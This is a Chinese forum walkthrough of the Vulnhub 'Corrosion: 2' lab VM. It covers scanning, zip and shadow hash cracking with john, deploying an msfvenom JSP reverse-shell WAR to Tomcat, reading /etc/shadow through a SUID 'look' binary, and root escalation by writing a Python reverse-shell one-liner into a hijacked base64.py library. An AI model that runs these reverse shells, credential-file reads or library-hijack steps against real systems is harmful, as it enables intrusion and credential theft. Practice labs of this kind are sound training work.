电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 505 人浏览分享

Vulnhub Corrosion: 2靶机实战

[复制链接]
505 0
环境搭建

靶机下载地址:https://www.vulnhub.com/entry/corrosion-2,745/
使用vmware workstation打开虚拟机镜像。这里需要注意,在靶机下载界面已经给出暗示,枚举才是关键!
看来这个靶机必须要进行暴力破解了。

QQ截图20221129114303.png

QQ截图20221129114329.png

搭建好是带图形化的ubuntu系统。

信息收集

同网段设置kali攻击机,扫描靶机真实IP为192.168.147.131。

arp-scan -Ieth0 -l

QQ截图20221129114413.png

nmap对靶机开放端口及服务进行扫描,扫描到开放了22端口SSH服务,80端口HTTP服务和8080的Tomcat。

nmap -sS-A-T4-Pn-p-192.168.147.131

99898.png

由于没有字典和可收集的账号信息,先访问网页服务试试,一个是Apache的默认页面,一个是Tomcat的管理页面。

99888.png

9988.png

对其两个网站进行目录扫描,使用dirsearch工具。

dirsearch -uhttp://192.168.147.131

821.png

Apache默认页面只有一个./index.html可访问。尝试对8080的Tomcat网页进行扫描。

dirsearch -uhttp://192.168.147.131:8080

820.png

密码破解

扫描到了一些基本的Tomcat目录结构,还有一个/manager管理网页,/backup.zip的压缩包,/readme.txt
的文本那就先访问这个readme.txt看看是什么内容。

819.png

大致是管理员说他留了个文件在服务器里,没人能找到,还有记住他给的密码。但是也没给呀 再去看看backup.zip
里是什么。但是也需要密码。

818.png

那么就尝试使用密码破解工具。将文件传到kali中。

这里需要使用zip2john,与之前靶场的ssh2john属同一系列。

zip2john backup.zip > password.txt

john -wordlist=/usr/share/wordlists/rockyou.txt password.txt

816.png

成功破解出密码是@administrator_hi5,去解压看看有什么文件。

209.png

在其中发现了一份很有价值的文件,tomcat-users.xml,一看就是保存了账号相关信息的。

131.png

其中有四种Tomcat管理角色类型。分别对应了GUI图形化、API接口、JMX代理和状态页的 在下
面就给出了许多账号。

100.png

其中有两个账户都可以管理gui界面,分别是manager和admin。

manager ---- melehifokivai

admin ---- melehifokivai

99.png

既然可以上传war包,那么就使用MSF生成一个war格式的木马尝试上传。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.147.129 LPORT=6789 -f war > ninggo.war

再通过网页传上去部署。kali端提前开启监听。

但是部署了好几次也没有反弹shell,看来这个方法不太行。寻找其它方式。

在之前打Host:1时候,也是Tomcat9.0版本,当时是利用了MSF的内置脚本,现在也可以再尝试一下。

msfconsole -q
search tomcat 9
use 5

96.png

89.png

成功getshell,但目前是普通用户,先换成交互式shell。

python3 -c'import pty; pty.spawn("/bin/bash")'

88.png

86.png

在home文件夹下发现了两个用户,randy和jaye,在randy文件夹下发现了user.txt和一个note.txt。

82.png

81.png

note中指出目前我们(randy)是没有主目录的增删权限的,而且也不可以查看jaye家目录下的文件所
以这里需要尝试切换用户,发现jaye是可以配合tomcat的密码登录的。

80.png

jaye的家目录中有ssh文件夹,那么就可以直接SSH连接。

jaye的家目录中有ssh文件夹,那么就可以直接SSH连接。

sshjaye@192.168.147.131

69.png

在jaye的家目录下的Files文件夹下发现了look文件,cat查看是无权的,用file进行查看,file可以查看该文件的
类型发现look可以越权访问,那么就可以直接查看root目录下的内容,直接查看root的flag。

68.png

但是此处不用这种投机取巧的方法,继续利用look寻找有价值的文件,比如/etc/passwd、/etc/shadow这种。

./look '''/etc/passwd'
NINGGO=/etc/shadow
./look ''"$NINGGO"

将输出的内容保存下来。

66.png

62.png

这里需要注意不可以在当前目录保存,因为没有写的权限,需要保存到本地kali。

这里使用unshadow工具来尝试破解shadow密码。unshadow是john的一个工具,unshadow
passwd shadow > password,来将存储用户信息与对应的密码信息进行整合,并将最终的整
合结果存储到password文件中。

unshadow /tmp/passwd /tmp/shadow > password.txt

61.png

然后再使用john尝试破解。

60.png

耗时一晚上才爆出来randy的密码,root用户是完全爆不出来。

melehifokivai(jaye)

07051986randy(randy)

接下来就可以切换到randy用户登录了。

59.png

系统提权

尝试提权操作,使用sudo -l的提权方法发现有一个名为randombase64.py不需要root密码便可执行的程序。

58.png

56.png

randy@corrosion:~$catrandombase64.py
importbase64

message=input("Enter your string: ")
message_bytes=message.encode('ascii')
base64_bytes=base64.b64encode(message_bytes)
base64_message=base64_bytes.decode('ascii')

print(base64_message)

但是此处randy用户是没有写的权限的,因为是root用户才可读写执行。但是其中有一个base64的
模块被引入。查看一下这个文件。

locate base64.py

cat base64.py

55.png

发现这个脚本是当前的randy用户可读写的,那么就可以在此脚本中写入反弹shell语句。

importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co
nnect(("192.168.147.129",6789));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.filen
o(),2);importpty; pty.spawn("/bin/bash")

38.png

需要注意此处会提示生成备份文件,需要在命令模式输入以下内容。

setnobackup
setnowritebackup
setnoswapfile

保存之后提前开启kali的监听,成功反弹shell,级别为root。

36.png

成功在/root文件夹下找到flag。

9.png

靶机总结

1.Tomcat中间件基本架构及相关的PoC、Exp

2.john工具下的各种类型使用,zip2john、unshadow

3.越权访问,look

4.提权部分的sudo提权及内核版本提权CVE-2021-4034

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.